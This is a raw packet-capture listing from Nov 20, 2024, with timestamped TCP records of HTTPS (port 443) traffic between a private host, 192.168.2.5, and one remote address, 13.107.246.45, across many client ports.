Nov 20, 2024 06:40:39.247710943 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.250427008 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.250442028 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.252408981 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.252425909 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.252604008 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.252624989 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.253251076 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.253283024 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.823914051 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.824795961 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.824820042 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.825916052 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.825923920 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.896400928 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.899122953 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.915163994 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.923432112 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.923682928 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.923731089 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.940500975 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.950539112 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.950558901 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.951706886 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.951714039 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.952775955 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.952804089 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.954147100 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.954154968 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.954334974 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.954375982 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.957238913 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.957257986 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.958396912 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.958420038 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.960508108 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.960515022 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.961177111 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.961199045 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.961211920 CET	49905	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.961220026 CET	443	49905	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.975356102 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.975449085 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:39.975529909 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.975692034 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:39.975716114 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.050846100 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.051028967 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.051081896 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.051824093 CET	49906	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.051839113 CET	443	49906	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.052565098 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.052628040 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.052673101 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.052685022 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.052732944 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.052784920 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.053698063 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.054198027 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.054254055 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.058667898 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.058689117 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.058701038 CET	49908	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.058706999 CET	443	49908	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.060997963 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.061172962 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.061220884 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.061274052 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.061275005 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.061305046 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.061327934 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.063474894 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.063499928 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.063513041 CET	49907	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.063520908 CET	443	49907	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.070689917 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.070691109 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.070715904 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.070715904 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.070924044 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.070933104 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.070961952 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.070962906 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.071130037 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.071130991 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.071146965 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.071222067 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.071235895 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.071451902 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.071464062 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.074227095 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.074238062 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.076477051 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.076891899 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.076906919 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.622675896 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.623508930 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.623508930 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.623526096 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.623542070 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.713027000 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.713838100 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.713838100 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.713857889 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.713875055 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.717719078 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.718065977 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.718085051 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.718481064 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.718487024 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.721784115 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.721967936 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.722055912 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.722109079 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.722109079 CET	49918	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.722141981 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.722165108 CET	443	49918	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.722738028 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.723603964 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.723618984 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.724277020 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.724282026 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.726175070 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.726214886 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.726296902 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.726762056 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.726778984 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.735292912 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.736084938 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.736084938 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.736095905 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.736112118 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.810760975 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.810856104 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.810965061 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.811067104 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.811686993 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.811728954 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.811763048 CET	49922	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.811779976 CET	443	49922	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.814255953 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.814311028 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.814393044 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.814790010 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.814817905 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.817744017 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.817941904 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.818032980 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.818061113 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.818061113 CET	49923	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.818078995 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.818089008 CET	443	49923	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.820405960 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.820483923 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.820557117 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.821007967 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.821038961 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.826566935 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.826894045 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.826958895 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.827440023 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.827440023 CET	49921	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.827461958 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.827476025 CET	443	49921	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.829760075 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.829788923 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.829874992 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.830203056 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.830225945 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.837052107 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.837239981 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.837290049 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.837394953 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.837394953 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.837439060 CET	49920	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.837451935 CET	443	49920	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.839940071 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.839973927 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:40.840125084 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.840353966 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:40.840382099 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.366842985 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.404879093 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.404902935 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.405369997 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.405375957 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.455775023 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.469584942 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.474462032 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.485337019 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.501671076 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.501770973 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.501861095 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.501878023 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.501905918 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.501951933 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.564613104 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.565505028 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.581548929 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.581578970 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.585536003 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.585551023 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.585655928 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.585680962 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.585691929 CET	49931	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.585697889 CET	443	49931	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.604480028 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.604542971 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.604840994 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.604852915 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.605109930 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.605122089 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.605446100 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.605454922 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.605674028 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.605703115 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.606004953 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.606014013 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.685980082 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.686173916 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.686379910 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.701493979 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.701654911 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.701744080 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.709954977 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.710006952 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.710052013 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.710086107 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.710120916 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.762949944 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.762949944 CET	49932	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.763015985 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.763046980 CET	443	49932	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.765970945 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.765970945 CET	49934	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.765986919 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.766007900 CET	443	49934	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.767680883 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.767967939 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.768019915 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.768029928 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.768064022 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.770023108 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.770023108 CET	49933	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.770056009 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.770080090 CET	443	49933	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.778536081 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.778549910 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.778659105 CET	49935	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.778672934 CET	443	49935	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.785624027 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.785648108 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.785703897 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.786689997 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.786739111 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.786869049 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.788475990 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.788506985 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.788522959 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.788538933 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.790213108 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.790257931 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.790532112 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.790802956 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.790829897 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.791649103 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.791671038 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.791733027 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.792758942 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.792777061 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.792860031 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.792979956 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.793004036 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:41.793083906 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:41.793108940 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.428231955 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.428874016 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.428947926 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.429328918 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.429552078 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.429580927 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.430015087 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.430028915 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.430551052 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.430560112 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.432529926 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.432887077 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.432909012 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.433456898 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.433460951 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.441924095 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.442459106 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.442492008 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.443010092 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.443017960 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.458302021 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.458664894 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.458673954 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.459434032 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.459439993 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.527825117 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.528202057 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.528274059 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.528335094 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.528377056 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.528403997 CET	49940	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.528419971 CET	443	49940	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.529227018 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.529424906 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.529480934 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.529499054 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.529546976 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.529607058 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.529704094 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.529704094 CET	49942	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.529720068 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.529740095 CET	443	49942	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.531449080 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.531491041 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.531615019 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.531730890 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.531749010 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.532084942 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.532388926 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.532433033 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.532491922 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.532627106 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.532641888 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.533221960 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.533401012 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.533631086 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.533653021 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.533696890 CET	49939	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.533704042 CET	443	49939	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.535540104 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.535604000 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.535741091 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.535872936 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.535904884 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.541137934 CET	443	49943	13.107.246.45	192.168.2.5
